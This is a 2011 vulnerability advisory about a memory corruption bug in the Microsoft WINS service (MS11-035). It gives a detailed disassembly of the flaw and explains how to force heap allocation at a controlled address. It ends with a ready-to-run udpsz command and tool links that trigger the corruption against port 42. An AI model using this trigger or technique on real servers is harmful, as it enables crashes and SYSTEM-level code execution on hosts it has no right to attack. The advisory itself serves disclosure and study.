Microsoft WINS Service 5.2.3790.4520 – Memory Corruption (MS11-035)

  • 作者: Luigi Auriemma
    日期: 2011-09-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17830/
  • #######################################################################
    
     Luigi Auriemma
    
    Application:Microsoft WINS service
    http://www.microsoft.com
    Versions: <= 5.2.3790.4520
    Platforms:Windows
    Bug:arbitrary memory corruption
    Exploitation: remote, versus server
    Date: found21 Oct 2010
    patched10 May 2011
    advisory 13 Sep 2011
    Author: Luigi Auriemma
    e-mail: aluigi@autistici.org
    web:aluigi.org
    
    References: http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx
    http://www.zerodayinitiative.com/advisories/ZDI-11-167/
    
    
    #######################################################################
    
    
    1) Introduction
    2) Bug
    3) The Code
    4) Fix
    
    
    #######################################################################
    
    ===============
    1) Introduction
    ===============
    
    
    WINS stands for "Windows Internet Name Service" and is a classical
    service running on port 42 usually active in intranet environments for
    resolving the NetBIOS names.
    
    
    #######################################################################
    
    ======
    2) Bug
    ======
    
    
    Notes: the reported dumps refer to WINS 5.2.3790.4520 on Windows 2003
    Server.
    
    The problem is located in the function at address 0101488A used to
    perform the sending of a reply packet back to the client where it's
    raised an exception if send() fails, for example because the client
    interrupted the connection before the receiving of the data.
    
    In this function the size of the data to send (0x2c) is passed to
    ntohl() and stored on the stack buffer where is located the beginning
    of the packet to send, but when the exception is raised then the code
    flow continues from 01013e86 and after a CALL EAX in msvcrt.dll arrives
    on 01013e8a where EDI takes the value at [EBP-4C] which is just
    0x2c000000 (yes, it's 0x2c in network endian).
    
    I have "tried" to resume the code flow here:
    
    01013E72 .6A 2C PUSH 2C ; /Arg3 = 0000002C
    01013E74 .8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; |
    01013E77 .50PUSH EAX; |Arg2
    01013E78 .FF76 30 PUSH DWORD PTR DS:[ESI+30]; |Arg1
    > 01013E7B .E8 0A0A0000 CALL 0101488A ; \wins.0101488A (send packet)
    01013E80 .834D FC FFOR DWORD PTR SS:[EBP-4],FFFFFFFF
    01013E84 .EB 0E JMP SHORT 01013E94
    01013E86 .33C0XOR EAX,EAX ; arrives here after RaiseException
    01013E88 .40INC EAX
    01013E89 .C3RETN
    > 01013E8A .8B65 E8 MOV ESP,DWORD PTR SS:[EBP-18] ; after "CALL EAX" in msvcrt the code flow arrives here
    01013E8D .834D FC FFOR DWORD PTR SS:[EBP-4],FFFFFFFF
    01013E91 .8B7D B4 MOV EDI,DWORD PTR SS:[EBP-4C]
    01013E94 .57PUSH EDI; /Arg1 (0x2c000000)
    01013E95 .E8 240D0000 CALL 01014BBE ; \wins.01014BBE
    01013E9A .EB 1A JMP SHORT 01013EB6
    ...
    0101488A/$8BFFMOV EDI,EDI
    0101488C|.55PUSH EBP
    0101488D|.8BECMOV EBP,ESP
    0101488F|.56PUSH ESI
    01014890|.8B75 0C MOV ESI,DWORD PTR SS:[EBP+C]
    01014893|.FF75 10 PUSH DWORD PTR SS:[EBP+10]; /0x2c
    01014896|.83C6 FC ADD ESI,-4; |
    01014899|.8975 0C MOV DWORD PTR SS:[EBP+C],ESI; |
    0101489C|.FF15 4C120001 CALL DWORD PTR DS:[<&WS2_32.#8>]; \ntohl
    010148A2|.8345 10 04ADD DWORD PTR SS:[EBP+10],4
    010148A6|.8906MOV DWORD PTR DS:[ESI],EAX; stores 0x2c000000
    010148A8|.0F84 AA000000 JE 01014958
    010148AE|.53PUSH EBX
    010148AF|.57PUSH EDI; stores the real value to pass to LeaveCriticalSection
    010148B0|.33F6XOR ESI,ESI
    010148B2|.BF F0210001 MOV EDI,010021F0; "d:\nt\net\wins\server\com\comm.c"
    010148B7|>BB FFFF0000 /MOV EBX,0FFFF
    010148BC|.395D 10 |CMP DWORD PTR SS:[EBP+10],EBX
    010148BF|.77 03 |JA SHORT 010148C4
    010148C1|.8B5D 10 |MOV EBX,DWORD PTR SS:[EBP+10]
    010148C4|>56|PUSH ESI ; /Flags
    010148C5|.53|PUSH EBX ; |DataSize
    010148C6|.FF75 0C |PUSH DWORD PTR SS:[EBP+C]; |Data
    010148C9|.FF75 08 |PUSH DWORD PTR SS:[EBP+8]; |Socket
    010148CC|.FF15 3C120001 |CALL DWORD PTR DS:[<&WS2_32.#19>]; \send
    010148D2|.83F8 FF |CMP EAX,-1
    010148D5|.75 56 |JNZ SHORT 0101492D
    010148D7|.FF15 54120001 |CALL DWORD PTR DS:[<&WS2_32.#111>] ; [WSAGetLastError
    010148DD|.3D 49270000 |CMP EAX,2749
    010148E2|.74 39 |JE SHORT 0101491D
    010148E4|.3D 46270000 |CMP EAX,2746
    010148E9|.74 32 |JE SHORT 0101491D
    010148EB|.3D 45270000 |CMP EAX,2745
    010148F0|.74 2B |JE SHORT 0101491D
    010148F2|.3D 75270000 |CMP EAX,2775
    010148F7|.74 24 |JE SHORT 0101491D
    010148F9|.56|PUSH ESI
    010148FA|.68 2F0B0000 |PUSH 0B2F
    010148FF|.57|PUSH EDI
    01014900|.68 731001C0 |PUSH C0011073
    01014905|>6A 01 |PUSH 1
    01014907|.50|PUSH EAX
    01014908|.E8 34790000 |CALL 0101C241
    0101490D|>56|PUSH ESI ; /pArguments
    0101490E|.56|PUSH ESI ; |nArguments
    0101490F|.56|PUSH ESI ; |ExceptionFlags
    01014910|.68 080000E0 |PUSH E0000008; |ExceptionCode = E0000008
    > 01014915|.FF15 DC100001 |CALL DWORD PTR DS:[<&KERNEL32.Rais>; \RaiseException
    0101491B|.EB 30 |JMP SHORT 0101494D
    0101491D|>3935 34740201 |CMP DWORD PTR DS:[1027434],ESI
    01014923|.^ 76 E8 |JBE SHORT 0101490D ; jumps
    ...
    01014BBE/$8BFFMOV EDI,EDI
    01014BC0|.55PUSH EBP
    01014BC1|.8BECMOV EBP,ESP
    01014BC3|.8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
    01014BC6|.8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]; so EAX is 0x2c000000
    01014BC9|.83C0 0C ADD EAX,0C; add 0x0c to our value
    01014BCC|.50PUSH EAX; /pCriticalSection
    01014BCD|.FF15 A0100001 CALL KERNEL32.LeaveCriticalSection; \LeaveCriticalSection
    01014BD3|.33C0XOR EAX,EAX
    01014BD5|.5DPOP EBP
    01014BD6\.C2 0400 RETN 4
    ...
    LeaveCriticalSection:
    7C81A3AB >8BFFMOV EDI,EDI
    7C81A3AD55PUSH EBP
    7C81A3AE8BECMOV EBP,ESP
    7C81A3B057PUSH EDI
    7C81A3B18B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
    7C81A3B4FF4F 08 DEC DWORD PTR DS:[EDI+8]; exploitation happens here: EDI is controlled (pCriticalSection)
    7C81A3B775 21 JNZ SHORT 7C81A3DA
    7C81A3B953PUSH EBX
    7C81A3BA56PUSH ESI
    7C81A3BBC747 0C 0000000>MOV DWORD PTR DS:[EDI+C],0
    7C81A3C28D77 04 LEA ESI,DWORD PTR DS:[EDI+4]
    7C81A3C5BB 01000000 MOV EBX,1
    7C81A3CAF0:0FC11E LOCK XADD DWORD PTR DS:[ESI],EBX
    7C81A3CE43INC EBX
    7C81A3CF83FB FF CMP EBX,-1
    7C81A3D20F85 0B2F0200 JNZ 7C83D2E3
    7C81A3D85EPOP ESI
    7C81A3D95BPOP EBX
    7C81A3DA33C0XOR EAX,EAX
    7C81A3DC5FPOP EDI
    7C81A3DD5DPOP EBP
    7C81A3DEC2 0400 RETN 4
    ...
    
    So EDI (the one of 01013E94) has ever the value 0x2c000000 because it's
    ntohl(0x2c) and normally there would be an exception at address
    01014BC6 because that zone of the memory is not allocated.
    
    Instead it's possible to force the allocation of that zone of memory
    and filling it with the own stuff simply by sending a big amount of
    data in the same connection (or maybe also in time separated
    connections but I have not tested).
    Absolutely not a problem considering the intranet nature of the
    service.
    
    To be exact I have noticed that the starting of allocation of memory
    happens after the sending of 2 gigabytes of data, when the situation
    that was stable till that moment changes suddenly and the service
    starts to allocate memory till occupying the about 700 megabytes needed
    to reach 0x2c000000.
    
    As already said it can be used just from the same connection, indeed
    the service accepts multiple requests since it simply cares that the
    max size of the data block specified in the first 32bit field is minor
    or equal than 3115000 so if the content is invalid the connection
    remains open and will be never closed or interrupted.
    
    When the zone of the memory that includes 0x2c000000 is allocated
    LeaveCriticalSection can be used to decrease a 32bit arbitray zone of
    the memory (or in some conditions increasing it and placing 0x00000000)
    giving to an attacker the opportunity of modifying the subsequent code
    flow and executing code under SYSTEM privileges.
    
    
    #######################################################################
    
    ===========
    3) The Code
    ===========
    
    
    http://aluigi.org/testz/udpsz.zip
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip (udpsz.zip)
    
    udpsz -C 00140004 -b a -l 0 -T 0xffffffff SERVER 42 0x140008
    
    when the dots displayed by the tool no longer advance press CTRL-C and
    the "DEC DWORD PTR DS:[EDI+8]" exception will be triggered immediately
    with EDI equal to 0x61616161.
    
    Note that the time needed to exploit the vulnerability depends mainly
    by the memory on the machine, it can be one minute if there is one
    gigabyte of RAM but can take also 10 minutes in case of 2 gigabytes so
    take it in mind during your tests: launch the command and wait
    (patiently) the stopping of the dots in udpsz.
    
    
    #######################################################################
    
    ======
    4) Fix
    ======
    
    
    http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx
    
    
    #######################################################################
    
    
    --- 
    Luigi Auriemma
    http://aluigi.org